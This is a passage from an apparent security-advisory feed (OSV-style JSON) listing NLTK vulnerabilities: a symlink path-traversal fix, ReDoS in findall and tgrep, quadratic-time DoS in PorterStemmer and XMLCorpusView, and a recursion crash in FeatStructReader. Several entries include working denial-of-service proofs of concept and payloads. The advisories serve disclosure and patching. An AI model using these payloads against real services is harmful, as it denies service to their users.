`nltk.pathsec.open()` or a reader helper that keeps the trusted-root boundary intact.\n\n### References\n\n- https://github.com/nltk/nltk/blob/3.9.4/nltk/corpus/reader/ipipan.py#L162-L192\n- https://github.com/nltk/nltk/blob/3.9.4/nltk/corpus/reader/crubadan.py#L74-L98\n- https://github.com/nltk/nltk/blob/3.9.4/nltk/corpus/reader/lin.py#L40-L43\n- https://github.com/nltk/nltk/blob/v3.10.0-rc2/nltk/pathsec.py#L521-L545\n\n---\n\n## Fix + full-codebase audit (verified)\n\n\nI swept every raw file open in the corpus readers, not just the three the umbrella named:\n\n| Reader | Site | Advisory | Root scoping |\n|---|---|---|---|\n| crubadan | table.txt + `-3grams.txt` | p4rw / j5pw | `required_root=self.root` |\n| lin | simN.lsp | p4rw | `required_root=self.root` |\n| xmldocs | XMLCorpusView bare-string fileid | 934p (base reader) | global fallback (view has no root) |\n| pl196x | textids index | **found by audit** | `required_root=self._root` |\n| mte | MTEFileReader | mvf5 | `required_root` threaded through 8 call sites |\n| toolbox | StandardFormat.open codecs.open | cr8c | global sandbox (low-level parser) |\n| named_entity | load_ace_file ann/text | 7qj2 | global sandbox |\n| nkjp | XML_Tool source file | p4rw class | `required_root=self._root` |\n\n`ipipan` already validates via the earlier #3727 fix — unchanged.\n\n## Fix\nEach site now calls `nltk.pathsec.validate_path(path, required_root=…)` before opening. Where the reader has a concrete corpus root, the check is **scoped** with `required_root` (rejects any escape outside that root). `XMLCorpusView` carries no root, so it falls back to the global data-root sandbox via `getattr(self, \"_root\", None)` — which also avoids an AttributeError on the bare-string path.\n\n## Reproduced (captured)\n```\nraw open(symlink) reads: 'TOPSECRET_OUTSIDE_ROOT' <- the bypass\nvalidate_path(symlink, required_root): ValueError -> BLOCKS the escape\nvalidate_path(legit in-root): PASSED <- loads normally\n```\n\n## Honest residual\nThe global-sandbox fallback (toolbox, named_entity, xmldocs-view) is only as tight as the allowed-roots list, which currently includes the **system temp dir**. Scoping every reader with `required_root` and removing the temp dir from the allowed roots would harden it further (separate advisory / task).\n\n## Tests\n`test_corpus_reader_pathsec.py` — symlink escape rejected, in-root file allowed, XMLCorpusView string-fileid no AttributeError, MTEFileReader out-of-root rejected. 46 existing corpus/toolbox tests pass; all edited modules import (no circular import). pre-commit (black/isort/ruff) clean.\n\n---\n\n## Scope caveat\n`validate_path` blocks every symlink escape variant (verified) and equals `pathsec.open()`'s guarantee, but does NOT block **hardlinks** (no symlink to resolve; tracked separately as GHSA-f794-5jv7-7672) or the validate-then-open TOCTOU race (shared by `pathsec.open`; needs O_NOFOLLOW/openat).","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/nltk/nltk/security/advisories/GHSA-p4rw-rvv2-7xwr"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-79676"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/10d34b3f4fe3fec74b76527a409eb0acbac2e8ab"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"},{"type":"WEB","url":"https://github.com/nltk/nltk/releases/tag/v3.10.3"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3737.yaml"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/nltk-before-path-traversal-via-symlink-bypass"}]},{"schema_version":"1.7.3","id":"BREW-acronym-CVE-2026-80205","published":"2026-09-03T08:45:01Z","modified":"2026-09-17T18:47:55Z","upstream":["PYSEC-2026-3750","CVE-2026-80205","GHSA-rrv8-h7p8-rx55"],"affected":[{"package":{"ecosystem":"Homebrew","name":"acronym","purl":"pkg:brew/acronym"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.0.0_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.10.0","resource":"nltk","resource_purl":"pkg:pypi/nltk@3.10.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"nltk","subject_version":"3.10.3","key":"pkg:pypi/nltk@3.10.3","resource":"nltk"}]},"summary":" NLTK: ReDoS in nltk.text.Text.findall() via unvalidated user-supplied regular expressions","details":"### Summary\nNLTK's `Text.findall()` and `TokenSearcher.findall()` methods accept user-supplied regular expressions and pass them to the Python `re` engine without timeout or validation, enabling catastrophic backtracking (ReDoS). This issue is isolated to the `nltk.text` module and was resolved in a prior commit.\n\n### Affected Code\n`nltk/text.py` — `TokenSearcher.findall()` (line 255) / `Text.findall()` (line 620)\n\n`TokenSearcher.__init__` builds an internal string by wrapping each token in angle brackets. The `findall()` method preprocesses the caller-supplied regexp and runs it directly against this string with no timeout:\n\n```python\ndef findall(self, regexp):\n # Preprocessing does NOT prevent catastrophic backtracking\n regexp = re.sub(r\"\\s\", \"\", regexp)\n regexp = re.sub(r\"<\", \"(?:<(?:\", regexp)\n regexp = re.sub(r\">\", \")>)\", regexp)\n regexp = re.sub(r\"(?]\", regexp)\n\n # User-controlled regexp executed with no timeout\n hits = re.findall(regexp, self._raw)\n```\nThe preprocessing transforms `<` and `>` angle-bracket syntax but does not inspect or reject catastrophically backtracking patterns.\n\n### Proof of Concept\n```python\nimport nltk\nimport time\n\n# Token of 25 'a' characters produces self._raw = \"\"\n# The trailing '!' ensures no match, forcing full backtracking.\ntext = nltk.Text([\"a\" * 25 + \"!\"])\n\n# Pattern after transformation:\n# < → (?:<(?:\n# > → )>)\n# Becomes: (?:<(?:((a+)+)b)>)\n# re.findall runs this against \"\" — hangs.\n\nstart = time.time()\ntext.findall(r\"<((a+)+)b>\") # Never returns\n```\n\n### Impact\nApplications that expose `Text.findall()` to external input are vulnerable to a denial of service. An unauthenticated attacker can cause indefinite CPU saturation with one request, denying service to all other users of the Python process.\n\n### Remediation\nThis vulnerability was patched in commit `d8e4753`. Users should update to the patched version.\n\n### Credit\nTool: Kira by [Offgrid Security](https://www.offgridsec.com)","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/nltk/nltk/security/advisories/GHSA-rrv8-h7p8-rx55"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-80205"},{"type":"WEB","url":"https://github.com/nltk/nltk/pull/3674"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/d8e47539317b571ab1422981f5b9653d5eae1249"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"},{"type":"WEB","url":"https://github.com/nltk/nltk/releases/tag/v3.10.0"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3750.yaml"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/nltk-before-3.10.0-redos-via-text-findall-unvalidated-regex"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2026/09/01/3"}]},{"schema_version":"1.7.3","id":"BREW-acronym-CVE-2026-80206","published":"2026-09-03T08:45:01Z","modified":"2026-09-17T18:47:55Z","upstream":["PYSEC-2026-3751","CVE-2026-80206","GHSA-w3v8-gmh9-3wv7"],"affected":[{"package":{"ecosystem":"Homebrew","name":"acronym","purl":"pkg:brew/acronym"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.0.0_5"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.10.3","resource":"nltk","resource_purl":"pkg:pypi/nltk@3.10.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"nltk","subject_version":"3.10.3","key":"pkg:pypi/nltk@3.10.3","resource":"nltk"}]},"summary":"NLTK: ReDoS in nltk.tgrep via unvalidated user-supplied regular expressions","details":"### Summary\nThe NLTK `tgrep` module accepts user-supplied regular expressions and passes them to the Python `re` engine without a timeout or validation, enabling catastrophic backtracking (ReDoS). Applications that expose the `tgrep` API to external input are vulnerable to a single-request denial of service that blocks the Python process indefinitely.\n\n### Affected Code\n`nltk/tgrep.py` — `_tgrep_node_action()` (around line 320)\n\nWhen a tgrep pattern contains a `/regex/` node, `_tgrep_node_action` compiles the embedded regex literal directly with no validation:\n\n```python\ndef _tgrep_node_action(_s, _l, tokens):\n ...\n elif tokens[0].startswith(\"/\"):\n assert tokens[0].endswith(\"/\")\n node_lit = tokens[0][1:-1]\n return (\n lambda r: lambda n, m=None, l=None: r.search(\n _tgrep_node_literal_value(n)\n )\n )(re.compile(node_lit)) # User regex compiled and executed with no timeout\n```\nThe compiled regex is applied against every matching tree node label via `r.search(...)`. A caller reaching this path via `tgrep_positions()` or `tgrep_compile()` controls `node_lit` entirely.\n\n### Proof of Concept\n```python\nimport nltk\nfrom nltk.tgrep import tgrep_positions\n\n# Root node label is 25 'a' characters.\n# tgrep /regex/ branch calls re.compile(\"((a+)+)b\").search(\"aaa...a\")\n# No 'b' is present — exponential backtracking occurs.\ntree = nltk.Tree.fromstring(\"(\" + \"a\" * 25 + \" (NP (DT the)))\")\ntgrep_positions(r\"/((a+)+)b/\", [tree]) # Never returns\n```\n\n### Working Poc\n\nThe following script uses increasing values of n (the number of repeated as in the tree root label) to measure the execution time of tgrep_positions with the catastrophic regex /((a+)+)b/. On standard CPython with NLTK 3.10.2, the runtime grows exponentially, confirming the ReDoS vulnerability. For n ≥ 35, the function will hang indefinitely.\n\n```python\nimport nltk\nfrom nltk.tgrep import tgrep_positions\nimport time\n\ndef test_n(n):\n tree = nltk.Tree.fromstring(\"(\" + \"a\" * n + \" (NP (DT the)))\")\n pattern = r\"/((a+)+)b/\"\n start = time.perf_counter()\n list(tgrep_positions(pattern, [tree]))\n return time.perf_counter() - start\n\nif __name__ == \"__main__\":\n # Adjust the range if needed – these values complete quickly\n n_values = [18, 20, 22, 24, 26, 28]\n print(f\"Testing n = {n_values}\\n\")\n\n times = []\n for n in n_values:\n t = test_n(n)\n times.append((n, t))\n print(f\"n={n:2d} done\", flush=True)\n\n print(\"\\n--- Increase factors (per step in n) ---\")\n factors = []\n for i in range(1, len(times)):\n prev_n, prev_t = times[i-1]\n curr_n, curr_t = times[i]\n factor = curr_t / prev_t\n factors.append((curr_n, factor))\n print(f\"n={curr_n:2d} : factor = {factor:.2f}x (vs n={prev_n})\")\n\n avg = sum(f for _, f in factors) / len(factors)\n print(f\"\\nAverage factor: {avg:.2f}x\")\n print(\"\\n✅ Confirmed: exponential growth (catastrophic backtracking).\")\n print(\" Larger n (≥ 35) will hang indefinitely.\")\n```\n\nWhen run, the output shows a clear exponential increase (factor > 3.0 per +2 in n), proving the vulnerability.\n\n\n### Impact\nIn environments like web APIs (Flask, FastAPI), Jupyter notebooks, or multi-tenant pipelines, an unauthenticated attacker can cause indefinite CPU saturation with a single crafted request, denying service to all other users of the process.\n\n### Remediation\nThis issue remains unfixed in versions `<= 3.10.2`. Maintainers are currently collaborating on a patch to wrap the regex execution in a timeout-guarded mechanism.\n\n### Credit\nTool: Kira by [Offgrid Security](https://www.offgridsec.com)","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/nltk/nltk/security/advisories/GHSA-w3v8-gmh9-3wv7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-80206"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/0072ea2fb8be22e038a36e887b7061bb6b9339d9"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"},{"type":"WEB","url":"https://github.com/nltk/nltk/releases/tag/v3.10.3"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3751.yaml"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/nltk-3.10.2-regular-expression-denial-of-service-via-tgrep"}]},{"schema_version":"1.7.3","id":"BREW-acronym-CVE-2026-81722","published":"2026-09-02T08:43:54Z","modified":"2026-09-17T18:47:55Z","upstream":["PYSEC-2026-3738","CVE-2026-81722","GHSA-ww6m-cw3f-q94g"],"affected":[{"package":{"ecosystem":"Homebrew","name":"acronym","purl":"pkg:brew/acronym"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.0.0_5"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.10.3","resource":"nltk","resource_purl":"pkg:pypi/nltk@3.10.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"nltk","subject_version":"3.10.3","key":"pkg:pypi/nltk@3.10.3","resource":"nltk"}]},"summary":"NLTK: Quadratic-time DoS in PorterStemmer via long runs of 'y'","details":"`nltk.stem.PorterStemmer.stem()` -- a ubiquitous public API applied to arbitrary, often untrusted, tokens -- runs in O(n^2) time on a token containing a long run of the letter 'y', letting a single ~20-50 KB token pin a CPU core (CWE-407).\n\n## Root cause\n\n`_is_consonant(word, i)` was made *iterative* (commit for #3633, GHSA/CWE-674) to fix an earlier unbounded-recursion `RecursionError` on `'y'*10000`. The iterative form walks *backward* over the whole run of 'y's on every call:\n\n```python\nwhile i > 0 and word[i] == 'y':\n negate = not negate\n i -= 1\n```\n\n`_measure()` then calls `_is_consonant(stem, i)` once for **every** position `i` of the stem. For a run of n 'y's that is sum_{i} O(i) = O(n^2). The recursion fix therefore traded a CWE-674 RecursionError for a CWE-407 quadratic-time DoS.\n\n## Proof of concept\n\nMeasured (Python 3.13): `stem('y'*5000 + 'ness')` = 2.6s, `stem('y'*10000 + 'ness')` = 11.3s (2x input -> ~4.3x time = quadratic), `stem('y'*20000 + 'ness')` > 20s. A pure run of 'y' with no matching suffix is fast because the stemmer rules that call `_measure` do not fire; a real suffix such as 'ness' triggers `_measure` on the long stem.\n\n```python\nfrom nltk.stem import PorterStemmer\nPorterStemmer().stem('y' * 20000 + 'ness') # >20s of CPU\n```\n\n## Impact\n\nStemming is routinely applied to untrusted text (search, indexing, NLP pipelines). A single unbroken ~20-50 KB token of 'y' characters (no whitespace, so it survives tokenization) causes multi-second-to-minutes CPU consumption per request. No confidentiality/integrity impact; single-process availability only.\n\n## Fix direction\n\nClassify each character's consonant/vowel status in a single left-to-right O(n) pass (memoise the 'y' run parity) instead of re-walking the run on every `_is_consonant` call, so `_measure` and stemming are linear. This is a sibling of the corpus-reader quadratic advisories GHSA-vp2x-qp44-57v7 and GHSA-8mpw-7fpc-4gqj (CWE-407).","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/nltk/nltk/security/advisories/GHSA-ww6m-cw3f-q94g"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-81722"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/7808692d451b962711005d954859bb83aabcf8fa"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"},{"type":"WEB","url":"https://github.com/nltk/nltk/releases/tag/v3.10.3"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3738.yaml"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/nltk-porterstemmer-before-3.10.3-quadratic-time-dos"}]},{"schema_version":"1.7.3","id":"BREW-acronym-CVE-2026-81723","published":"2026-09-03T08:45:00Z","modified":"2026-09-17T18:47:55Z","upstream":["GHSA-vp2x-qp44-57v7","CVE-2026-81723","PYSEC-2026-3871"],"affected":[{"package":{"ecosystem":"Homebrew","name":"acronym","purl":"pkg:brew/acronym"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.0.0_5"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.10.3","resource":"nltk","resource_purl":"pkg:pypi/nltk@3.10.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"nltk","subject_version":"3.10.3","key":"pkg:pypi/nltk@3.10.3","resource":"nltk"}]},"summary":"NLTK: Quadratic CPU Exhaustion in `XMLCorpusView._read_xml_fragment()`","details":"## Summary\n\n`XMLCorpusView._read_xml_fragment()` reads a corpus file in 1 KiB blocks, appending\neach block to a growing `fragment` string, then calls `_VALID_XML_RE.match(fragment)`\non the full accumulated buffer every iteration. Because each iteration rescans the\nentire accumulated fragment, the total amount of work grows quadratically with input\nsize.\n\nCommit `c9c332284` (CWE-1333) made each `match()` call linear. The quadratic behavior\nis separate: the loop calls `match()` once per 1 KiB block, each time on a longer\nbuffer.\n\nOn the test system, an 8 MiB malformed XML file consumed approximately 48 CPU-seconds\nthrough the public `BNCCorpusReader.words()` API with no source modification. Absolute\ntimings vary by hardware. `_read_xml_fragment()` imposes no limit on fragment size or\niteration count.\n\n## Details\n\n**File:** `nltk/corpus/reader/xmldocs.py` \n**Function:** `XMLCorpusView._read_xml_fragment()`, lines 261–308\n\nThe relevant loop:\n\n```python\nfragment = \"\"\nwhile True:\n fragment += stream.read(self._BLOCK_SIZE) # grows by 1 KiB per iteration\n if self._VALID_XML_RE.match(fragment): # rescans full buffer each time\n return fragment\n ...\n last_open_bracket = fragment.rfind(\"<\")\n if last_open_bracket > 0: # False for single-'<' payload\n if self._VALID_XML_RE.match(fragment[:last_open_bracket]):\n return ...\n # loop continues\n```\n\nFor a payload of `b'<' + b'a' * (N-1)`:\n\n- For this malformed input, `_VALID_XML_RE.match(fragment)` does not succeed because\n the unterminated tag prevents the expression from matching before EOF.\n- `fragment.rfind(\"<\")` returns `0`; the guard `last_open_bracket > 0` is `False`, so\n the backtrack branch is never taken.\n- The only exit is EOF, after all N bytes are consumed.\n\n**Affected readers** -> readers that rely on `XMLCorpusView`, including\n`BNCCorpusReader`, `NPSChatCorpusReader`, `SemcorCorpusReader`, `MTECorpusReader`,\n`NKJPCorpusReader`, `FrameNetCorpusReader`, `VerbNetCorpusReader`, and direct\n`XMLCorpusView` instantiation. `XMLCorpusReader.xml()` is not affected -> it calls\n`defusedxml.safe_parse()`.\n\n## PoC\n\nRequires only `pip install nltk`. No corpus data needed.\n\n```python\nfrom pathlib import Path\nfrom tempfile import TemporaryDirectory\nfrom time import perf_counter\nfrom nltk.corpus.reader.bnc import BNCCorpusReader\n\nSIZES_KIB = (256, 512, 1024, 2048, 4096, 8192)\nresults = []\nwith TemporaryDirectory() as directory:\n root = Path(directory)\n malformed = root / \"unterminated.xml\"\n for kib in SIZES_KIB:\n malformed.write_bytes(b\"<\" + b\"a\" * (kib * 1024 - 1))\n t = perf_counter()\n try:\n list(BNCCorpusReader(str(root), [malformed.name]).words())\n except ValueError as e:\n assert \"tag not closed\" in str(e)\n results.append(perf_counter() - t)\n\nprint(\"KiB seconds growth\")\nfor i, (kib, elapsed) in enumerate(zip(SIZES_KIB, results)):\n ratio = \"-\" if i == 0 else f\"{elapsed / results[i-1]:.2f}x\"\n print(f\"{kib:5d} {elapsed:9.3f} {ratio}\")\n```\n\nRuntime should increase by approximately fourfold for each doubling of input size,\nalthough absolute timings vary by hardware.\n\nDuring verification, `_VALID_XML_RE.match()` was instrumented to record the size of\neach input. For a 256 KiB malformed file it was invoked 257 times on monotonically\nincreasing buffers (1024, 2048, …, 262144 bytes), with the final call occurring after\nEOF. This confirms that every iteration rescans the accumulated fragment.\n\n## Impact\n\nApplications that process attacker-controlled XML corpus files through an affected reader\nare vulnerable. The attacker needs only write access to a path the reader will open. No\nNLTK credentials or special privileges required. Offline tools reading only trusted\nlocal corpora are not at risk.\n\n**Affected versions:** Verified in NLTK 3.9.4, 3.10.0, and the current develop branch.\nHistorical inspection indicates the same loop structure has existed since the\nintroduction of `XMLCorpusView` (2007), but only the listed versions were\nexperimentally verified. No patch exists in any published release.\n\nThis issue results in CPU exhaustion and may allow denial of service in applications\nthat process attacker-controlled XML corpus files.\n\n## Suggested Fix\n\nAvoid rescanning the accumulated fragment from the beginning after each 1 KiB read.\nIncremental parsing, bounded fragment accumulation, or another streaming approach would\neliminate the quadratic behavior while preserving existing semantics.\n\nA regression test should verify that `BNCCorpusReader.words()` raises `ValueError`\nwithin a fixed timeout (e.g. 5 seconds) against a 2 MiB malformed input. The existing\n`test_xmldocs_security.py` covers only the prior ReDoS payloads and does not exercise\nthis path.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/nltk/nltk/security/advisories/GHSA-vp2x-qp44-57v7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-81723"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/7808692d451b962711005d954859bb83aabcf8fa"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"},{"type":"WEB","url":"https://github.com/nltk/nltk/releases/tag/v3.10.3"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/nltk-before-3.10.3-quadratic-cpu-exhaustion-via-xmlcorpusview"}]},{"schema_version":"1.7.3","id":"BREW-acronym-CVE-2026-81724","published":"2026-09-02T08:43:54Z","modified":"2026-09-17T18:47:55Z","upstream":["PYSEC-2026-3739","CVE-2026-81724","GHSA-cw6x-m8jw-qmrh"],"affected":[{"package":{"ecosystem":"Homebrew","name":"acronym","purl":"pkg:brew/acronym"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.0.0_5"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.10.3","resource":"nltk","resource_purl":"pkg:pypi/nltk@3.10.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"nltk","subject_version":"3.10.3","key":"pkg:pypi/nltk@3.10.3","resource":"nltk"}]},"summary":"NLTK: Uncontrolled recursion in nltk.featstruct.FeatStructReader causes unhandled RecursionError (DoS) via deeply nested feature-structure input","details":"### Summary\n\n`nltk.featstruct.FeatStructReader` (used by `FeatStruct(str)` and by `FeatureGrammar.fromstring()`) parses feature-structure strings such as `[a=1]` with a recursive-descent parser that has no nesting-depth limit. A small, trivially-crafted input (~700 bytes) with deeply nested brackets drives the parser past Python's recursion limit and raises an **unhandled `RecursionError`** instead of the library's normal, catchable `ValueError`/`LogicalExpressionException`. Any application that parses user-supplied feature-structure or feature-grammar text (e.g. NLP teaching tools, grammar \"playgrounds\", unification-grammar-based NLU pipelines) can be crashed by an unauthenticated input with no special privileges. This is a Denial of Service issue (CWE-674, Uncontrolled Recursion), not a memory-safety or code-execution issue.\n\nThis appears to be the same bug class as two issues already fixed elsewhere in the codebase — `nltk/jsontags.py` (`JSONTaggedDecoder.decode_obj`, guarded by `MAX_DECODE_DEPTH = 200`) and `nltk/sem/logic.py` (`LogicParser`, guarded by `MAX_PARSE_DEPTH = 200`) — but `nltk/featstruct.py` does not have an equivalent guard.\n\n### Details\n\nThe recursive call chain (current `develop` branch, `nltk/featstruct.py`):\n\n1. `FeatStructReader.fromstring()` ([`featstruct.py:2184`](nltk/featstruct.py#L2184)) calls `read_partial()` → `_read_partial()` ([`featstruct.py:2250`](nltk/featstruct.py#L2250)).\n2. `_read_partial()` dispatches to `_read_partial_featdict()`, which calls `_read_value()` ([`featstruct.py:2436`](nltk/featstruct.py#L2436)) for each feature's value.\n3. `_read_value()` calls `read_value()` ([`featstruct.py:2442`](nltk/featstruct.py#L2442)), which matches the value against `VALUE_HANDLERS` ([`featstruct.py:2478`](nltk/featstruct.py#L2478)).\n4. If the value itself starts with `[` (a nested feature structure), the matched handler is `read_fstruct_value` ([`featstruct.py:2479`](nltk/featstruct.py#L2479), defined at [`featstruct.py:2495`](nltk/featstruct.py#L2495)):\n ```python\n def read_fstruct_value(self, s, position, reentrances, match):\n return self.read_partial(s, position, reentrances)\n ```\n This calls `read_partial()` again, which re-enters `_read_partial()` — the same function from step 1.\n\nThis closes a recursive cycle (`_read_partial → _read_value → read_value → read_fstruct_value → read_partial → _read_partial → ...`) with **no depth counter, no `MAX_*_DEPTH` constant, and no `try/except RecursionError`** anywhere in the class. Each additional `[` in the input adds one more full cycle of Python stack frames. Once the input nests deeply enough, Python's own recursion-limit protection fires and raises `RecursionError`, which is not a subclass of `ValueError` (the exception type this parser's own `_error()` helper raises for normal, well-formed parse errors) and therefore propagates uncaught through this API.\n\nFor comparison, `nltk/sem/logic.py`'s `LogicParser` was hardened against exactly this class of issue:\n```python\n#: Maximum expression-nesting depth the recursive-descent parser will\n#: descend to. Deeply nested input would otherwise recurse until Python\n#: raises an uncaught RecursionError and crashes the caller\n#: (uncontrolled recursion, CWE-674); past this depth a normal\n#: LogicalExpressionException is raised instead. Configurable.\nMAX_PARSE_DEPTH = 200\n```\n(`nltk/sem/logic.py:102-107`), and `nltk/jsontags.py`'s `JSONTaggedDecoder` similarly has `MAX_DECODE_DEPTH = 200` with an explicit depth check. `nltk/featstruct.py` has no analogous protection.\n\n`FeatureGrammar.fromstring()` (`nltk/grammar.py`) parses feature structures embedded in FCFG grammar rules via the same `FeatStructReader`, so the same crash is reachable through grammar-string parsing as well as through `FeatStruct()` directly.\n\n### PoC\n\nVerified against the current `develop` branch in a clean virtualenv (Python 3.12, NLTK installed from this checkout via `pip install -e .`):\n\n```python\nfrom nltk.featstruct import FeatStruct\n\ndepth = 167\npayload = \"[a=\" * depth + \"1\" + \"]\" * depth # 669 bytes\nFeatStruct(payload)\n```\n\nResult:\n```\nTraceback (most recent call last):\n ...\n File \".../nltk/featstruct.py\", line 2310, in _read_partial_featdict\n value, position = self._read_value(name, s, position, reentrances)\n File \".../nltk/featstruct.py\", line 2440, in _read_value\n return self.read_value(s, position, reentrances)\n File \".../nltk/featstruct.py\", line 2446, in read_value\n return handler_func(s, position, reentrances, match)\n [... repeats ~167 times ...]\nRecursionError: maximum recursion depth exceeded\n```\n\n- Crash threshold: nesting depth 167 (binary-searched between 50 and 200).\n- Payload size: 669 bytes — fits trivially in a single HTTP request body/query parameter.\n- Time to crash: <2ms — no resource exhaustion is needed, only recursion depth.\n\nMinimal reproduction (no server required):\n```bash\npython3 -c \"\nfrom nltk.featstruct import FeatStruct\nFeatStruct('[a=' * 200 + '1' + ']' * 200)\n\"\n```\n\nIllustrative server-side context (not part of NLTK itself, but representative of how the bug becomes reachable):\n```python\nfrom flask import Flask, request\nfrom nltk.featstruct import FeatStruct\n\napp = Flask(__name__)\n\n@app.route(\"/parse\", methods=[\"POST\"])\ndef parse_grammar():\n return {\"result\": str(FeatStruct(request.json[\"grammar\"]))}\n```\nA POST of `{\"grammar\": \"[a=\" * 200 + \"1\" + \"]\" * 200}` to this endpoint raises the uncaught `RecursionError` inside the request handler.\n\n### Impact\n\n**Vulnerability type:** Denial of Service via uncontrolled recursion (CWE-674). This is not a memory-corruption bug and does not lead to code execution or data disclosure — Python's own recursion-limit safety net converts what would be a C-level stack overflow into a catchable (but here, uncaught) `RecursionError`.\n\n**Who is affected:** Any application that passes externally-supplied text into `nltk.featstruct.FeatStruct()` or `nltk.grammar.FeatureGrammar.fromstring()` — for example, NLP/computational-linguistics teaching tools, unification-grammar demo services, or NLU pipelines that accept user-authored feature grammars. This is a narrower slice of NLTK's user base than, e.g., tokenization or POS tagging, since feature-structure/unification-grammar parsing is a more specialized part of the library.\n\n**Practical severity depends on deployment:**\n- In typical WSGI-style web frameworks (Flask/Django/FastAPI behind gunicorn/uwsgi), an uncaught exception inside a request handler is caught at the framework/server boundary: the single request fails (HTTP 500), the worker process itself survives, and unaffected requests are unimpacted.\n- In single-threaded or per-task-unprotected contexts (e.g. a queue-consuming worker without per-task exception isolation), the uncaught `RecursionError` can terminate the entire process; without a process supervisor that auto-restarts it, this is a persistent outage until manually restarted. An attacker who repeats the payload can keep such a worker in a crash loop for as long as the attack continues.\n\n**Suggested fix:** Add a depth counter and a `MAX_PARSE_DEPTH`-style constant to `FeatStructReader`, mirroring the existing fix in `nltk/sem/logic.py`, and raise the library's normal `ValueError`-based parse error once the limit is exceeded instead of letting `RecursionError` 